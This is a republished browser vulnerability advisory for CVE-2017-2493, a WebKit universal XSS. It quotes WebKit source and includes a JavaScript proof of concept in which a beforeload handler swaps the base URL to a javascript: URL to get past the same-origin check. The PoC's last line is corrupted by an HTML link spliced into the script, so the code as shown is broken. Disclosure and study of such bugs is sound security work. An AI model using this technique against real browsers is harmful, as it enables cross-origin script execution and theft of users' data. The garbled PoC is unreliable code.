WebKit HTMLObjectElement::updateWidget Universal XSS
Posted on 26 May 2017
WebKit: UXSS through HTMLObjectElement::updateWidget CVE-2017-2493 When an object element loads a JavaScript URL(e.g., javascript:alert(1)), it checks whether it violate the Same Origin Policy or not. Here's some snippets of the logic. void HTMLObjectElement::updateWidget(CreatePlugins createPlugins) { ... String url = this->url(); ... if (!allowedToLoadFrameURL(url)) return; ... bool beforeLoadAllowedLoad = guardedDispatchBeforeLoadEvent(url); ... bool success = beforeLoadAllowedLoad && hasValidClassId(); if (success) success = requestObject(url, serviceType, paramNames, paramValues); ... } bool HTMLPlugInImageElement::allowedToLoadFrameURL(const String& url) { URL completeURL = document().completeURL(url); if (contentFrame() && protocolIsJavaScript(completeURL) && !document().securityOrigin().canAccess(contentDocument()->securityOrigin())) return false; return document().frame()->isURLAllowed(completeURL); } bool HTMLPlugInElement::requestObject(const String& url, const String& mimeType, const Vector<String>& paramNames, const Vector<String>& paramValues) { if (m_pluginReplacement) return true; URL completedURL; if (!url.isEmpty()) completedURL = document().completeURL(url); ReplacementPlugin* replacement = pluginReplacementForType(completedURL, mimeType); if (!replacement || !replacement->isEnabledBySettings(document().settings())) return false; LOG(Plugins, "%p - Found plug-in replacement for %s.", this, completedURL.string().utf8().data()); m_pluginReplacement = replacement->create(*this, paramNames, paramValues); setDisplayState(PreparingPluginReplacement); return true; } The SOP violation check is made in the method HTMLPlugInImageElement::allowedToLoadFrameURL. What I noticed is that there are two uses of |document().completeURL| for the same URL, and the method guardedDispatchBeforeLoadEvent dispatches a beforeloadevent that may execute JavaScript code after the SOP violation check. So if the base URL is changed like "javascript:///%0aalert(location);//" in the event handler, a navigation to the JavaScript URL will be made successfully. Tested on Safari 10.0.3(12602.4.8). PoC: <html> <head> </head> <body> <script> let o = document.body.appendChild(document.createElement('object')); o.onload = () => { o.onload = null; o.onbeforeload = () => { o.onbeforeload = null; let b = document.head.appendChild(document.createElement('base')); b.href = 'javascript:///%0aalert(location);//'; }; o.data = 'xxxxx'; }; o.type = 'text/html'; o.data = '<a href="https://abc.xyz/';" title="" class="" rel="nofollow">https://abc.xyz/';</a> </script> </body> </html> This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public. Found by: lokihardt